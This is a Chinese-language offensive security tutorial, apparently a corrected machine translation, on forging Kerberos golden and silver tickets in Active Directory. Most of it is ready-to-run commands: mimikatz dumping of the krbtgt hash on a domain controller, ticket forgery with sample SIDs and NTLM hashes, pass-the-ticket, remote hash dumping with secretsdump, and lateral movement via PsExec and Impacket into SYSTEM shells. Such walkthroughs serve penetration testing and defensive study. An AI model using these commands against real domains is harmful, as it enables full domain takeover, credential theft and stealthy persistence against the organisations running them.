AD 权限维持-金票银票攻击

本文通过 Google 翻译 Domain Persistence -- Golden Ticket and Silver Ticket Attacks 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。

导航

  • [0 前言](#0 前言)
  • [1 伪造黄金票据 -- 本地 mimikatz.exe(GUI 环境)](#1 伪造黄金票据 – 本地 mimikatz.exe(GUI 环境))
    • [1.1 收集所需信息](#1.1 收集所需信息)
    • [1.2 制作黄金票据](#1.2 制作黄金票据)
    • [1.3 票据传递攻击](#1.3 票据传递攻击)
  • [2 伪造白银票据 -- 本地 mimikatz.exe(GUI 环境)](#2 伪造白银票据 – 本地 mimikatz.exe(GUI 环境))
    • [2.1 收集所需信息](#2.1 收集所需信息)
    • [2.2 制作白银票据](#2.2 制作白银票据)
  • [3 伪造和票据传递的其它方式 -- 远程(非 GUI 环境)](#3 伪造和票据传递的其它方式 – 远程(非 GUI 环境))
    • [3.1 伪造黄金票据 -- Meterpreter Kiwi](#3.1 伪造黄金票据 – Meterpreter Kiwi)
      • [3.1.1 制作黄金票据并发起票据传递攻击](#3.1.1 制作黄金票据并发起票据传递攻击)
    • [3.2 伪造黄金票据 -- ticketer.py](#3.2 伪造黄金票据 – ticketer.py)
      • [3.2.1 制作黄金票据并发起票据传递攻击](#3.2.1 制作黄金票据并发起票据传递攻击)

0、前言

在这篇文章中,我们将探讨如何伪造黄金/白银票据,以及如何发起金票/银票攻击。

首先,我们将在 DC 的 GUI 环境下使用 Mimikatz 伪造黄金票据和白银票据,并看看如何在票据传递攻击中使用这些票据进行横向移动并访问网络上的其它计算机;最后,我们再探索一些无需在 DC 的 GUI 环境中便可远程执行票据传递攻击的其它工具。

金票攻击和银票攻击的主要区别在于:白银票据仅限于访问目标特定服务,而黄金票据则可以访问域中的任何 Kerberos 服务。

1、伪造黄金票据 -- 本地 mimikatz.exe(GUI 环境)

金票攻击发生在攻击者获得 krbtgt 账户(生成 TGT 票据的帐户)的 NTLM 哈希之后,此时他们可以伪造合法的 TGT 票据,而无需与 KDC 通信。这使得攻击者能够以任意用户身份访问域内资源,从而实现对整个域的完全控制。

而为了能获得 krbtgt 账户的哈希以执行金票攻击,我们需要获取域控制器的管理组用户的权限。一旦获得了域管理员的权限,我们就可以使用 mimikatz 提取 krbtgt 的 NTLM 哈希以及域的 SID 等信息。

1.1、收集所需信息

mimikatz.exe 传输到 DC 机器之后,启动它并运行 privilege::debug 命令来确认当前用户是否拥有能够获取敏感信息的高权限。

cmd 复制代码
.\mimikatz.exe
privilege::debug

当看到 Privielge '20' OK 的提示时,则意味着我们拥有着正确的权限,然后就可以使用以下命令来提取伪造黄金票据所需的信息了:

cmd 复制代码
lsadump::lsa /inject /name:krbtgt

krbtgt 账户是 KDC 服务的服务账户。该账户和密码是在创建域时被创建的,密码通常不会被更改。

一旦获得了所需的信息,我们就可以使用以下 5 条信息去伪造一个模拟域管理员帐户的 TGT 票据:

  • Username: Administrator
  • Domain: juggernaut.local
  • SID: S-1-5-21-2365897340-51848609-3160590671
  • NTLM hash: e6b43234ea2ce6d8bafa4b17c7b3790f
  • RID: 500

注:krbtgt 用户信息的提取可以通过 mimikatz 的命令行模式(非交互式)进行,即 mimikatz.exe "lsadump::lsa /inject /name:krbtgt" "exit"

1.2、制作黄金票据

现在我们已经掌握了所需的信息,接下来就可以使用以下命令来伪造一个管理员级别的黄金票据:

注:为了能更清楚的呈现伪造票据带来的实际效果,以下实验建议在普通域主机上的普通域用户环境下进行。因为在域管理组账户的环境下,即便不伪造票据,它们仍旧可以去遍历网络上其它域主机上的目录以及通过 psexe 执行命令。

通过 mimikatz 获取 krbtgt 账户哈希的操作需要在 DC 上进行,但在获取到信息之后制作黄金票据,则可以在普通域主机上的普通域用户环境下进行。

cmd 复制代码
Kerberos::golden /user:Administrator /domain:juggernaut.local /sid:S-1-5-21-2365897340-51848609-3160590671 /krbtgt:e6b43234ea2ce6d8bafa4b17c7b3790f /id:500 /ptt
  • /user 的参数可以是任何用户名,而不必是域中实际存在的用户。
  • /id 的参数对应的是赋予用户的 RID 值。实际上该参数才是决定了所创建用户的身份(权限),而非由上面的 user 参数指定的用户名称决定的。(默认情况下,administrator 身份的 RID 值通常都是 500。因此,Kerberos::golden * /user:test /id:500代表了为代号 test 的用户创建了一个管理员权限的金票。 )

注:若金票的制作是通过上述 /ptt 的方式进行制作,则必须在 GUI 环境下进行,否则会产生错误提示信息,导致金票无法被顺利制作。【通过命令 klist 可以看到新制作的票据。】

而若以不添加 /ptt 的方式制作,则命令行模式亦可成功,只是会在当前目录下产生一个 ticket.kirbi 的票据文件。

1.3、票据传递攻击

现在,我们已经伪造了具有管理员权限级别的黄金票据,接下来,就可以利用这张票据来执行金票攻击了。

为此,我们需要通过以下命令在我们伪造的票据上下文中打开一个新的 cmd shell:

注:伪造票据完成之后,直接打开新的 cmd 和通过 mimikatz 打开的 cmd 似乎并没什么区别。klist 列出的缓存票据中均存在新制作的票据。

cmd 复制代码
misc::cmd

由于该命令会弹出一个 cmd shell,因此该命令一定要在 GUI 环境下执行。

为了确认我们现在能否访问网络上的另一台机器,可在新的 cmd shell 中执行以下命令进行验证:

cmd 复制代码
dir \\hostname\c$

可以看到,我们现在能够轻松的就访问到网络中另一台主机上 C 盘的文件了。

但是,我们并不满足只是能够访问主机上的文件,我们还想要获得一个可以执行命令的完整 shell。为此,我们可以借助一个名为 PsExec64.exe 的工具来实现我们的需求。

将该工具下载并传输到 DC 机器上之后,运行以下命令即可获得对网络主机执行命令的 shell:

cmd 复制代码
.\PsExec64.exe -accepteula \\hostname -s cmd

以上命令中,cmd 亦可被替换为 powershell 以获得 PowerShell 会话,添加"-s"选项则会为我们提供一个 SYSTEM 权限的 Shell。

从上面可以看到,通过票据传递攻击我们成功的横向移动到了网络中的另一台主机上。

2、伪造白银票据 -- 本地 mimikatz.exe(GUI 环境)

白银票据的制作前提是需要获得服务账户的密码哈希,而服务账户的密码哈希可以是在攻陷 DC 之后获得、也可以是通过 kerberoasting 攻击并破解成功的方式获得,因此银票的制作不是必须非要在攻陷 DC 之后才能进行。

注:当攻击者能够获得运行着服务的域主机的本地管理员或 SYSTEM 权限时,通过 mimikatz 也是有可能(没遇到防护限制的话)获取到运行服务的域服务账户的哈希信息的。【命令:sekurlsa::logonPasswords

在大多数情况下,伪造银票与伪造金票并无太大区别,区别仅仅只是使用的账户由 krbtgt 账户变成了普通的服务账户。

2.1、收集所需信息

在这个示例中,假设我们成功入侵了一台普通域用户权限的域主机,然后找到并成功对名为 sqlservice 的服务帐户进行了 Kerberoasting 攻击,并且成功破解了该服务帐户的密码。

由于在使用 mimikatz 伪造银票的时候使用的密码是 NTLM 格式的,因此我们可以通过以下脚本将明文密码进行格式转换:

python 复制代码
#!/bin/python

import hashlib,binascii
hash = hashlib.new('md4', 'P@ssw0rd1234!'.encode('utf-16le')).digest()
print binascii.hexlify(hash)

现在,服务帐户的密码已经被转换为 NTLM 哈希了。

接着,我们需要找到域的 SID 和服务帐户的 RID,可以使用以下命令获取:

注:既然有服务账户的凭证,那么也可以通过 impacket-lookupsid 去获取和下面一样的信息。

powershell 复制代码
wmic useraccount get name,sid

至此,制作银票所需的信息均已被提取:

  • Username: sqlservice
  • Domain: juggernaut.local
  • SID: S-1-5-21-2365897340-51848609-3160590671
  • NTLM hash: 5ecb7fb923963202c6567e6fdcf6abdb
  • RID: 1111

2.2、制作白银票据

通过 mimikatz 伪造白银票据的命令如下:

注:以下关于作者对白银票据的生成方式似乎并不准确,本节末尾处有本人实践测试之后可以正常发起银票攻击的银票制作命令,可供参考。

cmd 复制代码
Kerberos::golden /user:sqlservice /domain:juggernaut.local /sid:S-1-5-21-2365897340-51848609-3160590671 /rc4:5ecb7fb923963202c6567e6fdcf6abdb /id:1111 /ptt

伪造金票和银票使用的均是 kerberos::golden 命令。

  • /user 的参数和金票一样可以是任何用户名,而不必是域中实际存在的用户。
  • /id 的参数对应的是服务账户对应的 RID 值。

现在白银票据已经伪造完毕,那么它就可以像黄金票据一样进行传递了。唯一不同的是,银票仅限于访问服务账户可以访问的主机。

注:使用银票攻击更具隐蔽性,因为它只需拿着服务票据和提供服务的服务器进行验证交互,绕过了和 KDC 的交互。而金票攻击的隐蔽性则不如银票,因为它还需要拿着金票向 KDC 申请服务票,然后才能拿着服务票访问服务资源。

利用白银票据的另一种方法:首先获取目标主机自身的计算机账户 的哈希,然后依此伪造一个访问 CIFS 或 HOST 类型的服务票据 ,然后就可以访问目标主机上的任意文件或远程 shell 了(这里需要注意,psexec.exe 只支持黄金票据的使用,不支持白银票据)。以下是两种工具伪造银票的命令用法:

示例实验环境介绍:win10 域主机、dc2012 域控、kali 攻击机。

**(1)impacket-ticketer 伪造银票用法示例:**在攻击机通过银票远程连接 win10 域主机。

bash 复制代码
impacket-ticketer -domain skylark.com -domain-sid S-1-5-21-1869548389-852568882-3188983647 -nthash ec02f279200357b58cb89cda87064833 -spn cifs/win10.skylark.com admin 
# nthash 参数对应的哈希是 win10 主机机器账户 win10$ 的哈希,末尾的 admin 是通过 impacket-secretsdump 登录时要使用的用户名。

impacket-secretsdump -k -no-pass [email protected] -dc-ip 192.168.56.50 -target-ip 192.168.56.14

**(2)mimikatz 伪造银票用法示例:**在 win10 域主机通过银票遍历 dc2012 域控的 c 盘目录。

cmd 复制代码
.\mimikatz.exe
kerberos::golden /domain:skylark.com /sid:S-1-5-21-1869548389-852568882-3188983647 /target:dc2012.skylark.com /service:cifs  /rc4:d5025b8cfb84a5e0ceb443ebd3b2294a /user:administrator /ptt
misc::cmd
:: 特别注意参数 /target 和 /service 的用法,/rc4 是域控的机器账户 dc2012$ 的哈希。

dir \\dc2012.skylark.comt\c$
:: 目录遍历时,必须是带域名的格式,而不能是 \\dc2012 这样的格式;获取远程 shell 时,需使用 impacket-smbexe 去连接,psexec.exe 是不支持银票连接的。

3、伪造和票据传递的其它方式 -- 远程(非 GUI 环境)

为了在没有 GUI 的情况下执行票据传递攻击,我们需要保存票据,以便在攻击者的机器上使用。我们将了解如何使用 meterpreter 和 ticketer.py 来实现这一点。

对于这些示例,我们主要使用黄金票据进行攻击,但也可以轻松编辑这些命令进行白银票据攻击。

3.1、伪造黄金票据 -- Meterpreter Kiwi

在本例中,假设我们已经在受害者 DC 上站稳了脚跟,并已顺利升级到了域管理员权限,同时使用的 shell 也已升级到了 Meterpreter shell。

在 meterpreter shell 中,我们有一个内置的 mimikatz 扩展程序,名为 kiwi。我们可以使用 kiwi 像 mimikatz 一样执行黄金票据攻击。首先,我们需要找到 krbtgt 的 NTLM 哈希值和域的 SID,然后再使用这些信息来制作黄金票据。这一次,黄金票据将会被保存,然后我们可以将其加载到会话中,执行票据传递攻击。

3.1.1、制作黄金票据并发起票据传递攻击

首先,使用以下命令将 kiwi 加载到当前 meterpreter 会话中,然后转储 krbtgt 的 NTLM 哈希和域的 SID:

bash 复制代码
load kiwi
dcsync_ntlm krbtgt

请注意,SID 的最后 3 位数字是 RID。在将 SID 添加到伪造黄金票据的命令中时需要删除 RID。

接着,使用以下命令来伪造和保存黄金票据:

bash 复制代码
golden_ticket_create -d juggernaut.local -u administrator -s S-1-5-21-2365897340-51848609-3160590671 -k e6b43234ea2ce6d8bafa4b17c7b3790f -t /opt/evil.tck

然后,在当前会话中应用该票据:

bash 复制代码
kerberos_ticket_use /opt/evil.tck

最后,我们就可以进入常规 shell 并访问网络中不同主机上的文件了。

3.2、伪造黄金票据 -- ticketer.py

伪造黄金票据的另一种方法是使用Impacket工具套件中的 ticketer.py 工具进行完全远程操作 。

在开始之前,仍需要像之前一样获取 krbtgt 哈希值和域 SID,但这次我们将远程执行这两个步骤。我们将使用 secretsdump.py 转储 DC 上的所有哈希值,并使用 lookupsid.py 查找域 SID。

bash 复制代码
secretsdump.py juggernaut.local/Administrator:'password'@172.16.1.5 | grep krbtgt
bash 复制代码
lookupsid.py juggernaut.local/Administrator:'password'@172.16.1.5 | grep -i "domain sid"
3.2.1、制作黄金票据并发起票据传递攻击

收集到所需信息之后,可使用以下命令伪造一张黄金票据:

bash 复制代码
ticketer.py -nthash e6b43234ea2ce6d8bafa4b17c7b3790f -domain-sid S-1-5-21-2365897340-51848609-3160590671 -domain juggernaut.local administrator

这会将黄金票据缓存到当前目录中一个名为 administrator.ccache 的文件中。

接下来,使用以下命令将此票据应用到我们当前的 bash 会话中:

bash 复制代码
export KRB5CCNAME=/opt/juggernaut/administrator.ccache

然后,使用以下命令在网络中的另一个主机上立足:

bash 复制代码
 psexec.py juggernaut.local/[email protected] -target-ip 172.16.1.100 -dc-ip 172.16.1.5 -k -no-pass

在这个例子中,我们的目标主机是 172.1.6.1.100,其主机名是 jugg-meisenhardt。
注:登录用户需使用制作票据时使用的那个名称,target 貌似不能以 IP 地址替代。

相关推荐
sukalot3 小时前
window 显示驱动开发-GDI 硬件加速
windows·驱动开发
.m5 小时前
电脑风扇转速不正常的原因
windows·电脑
不愧是你呀8 小时前
深度剖析并发I/O模型select、poll、epoll与IOCP核心机制
linux·服务器·网络·windows
0xCC说逆向9 小时前
Windows逆向工程提升之IMAGE_EXPORT_DIRECTORY
开发语言·数据结构·windows·安全·网络安全·pe结构·逆向工程
leaf_leaves_leaf12 小时前
如何把一台电脑作为另外一台电脑的显示器
windows
0xCC说逆向16 小时前
Windows逆向工程提升之IMAGE_IMPORT_DESCRIPTOR
c语言·汇编·windows·安全·逆向·pe结构
keyBird在成长17 小时前
Java集合操作:如何避免并发修改异常
java·windows·python
Big__Star1 天前
Windows 上配置 Docker,Docker 的基本原理和用途,以及如何在 Docker 中运行程序
windows·docker·容器
腾昵猫1 天前
Linux从网卡接收到内核软中断处理整体流程
linux·运维·windows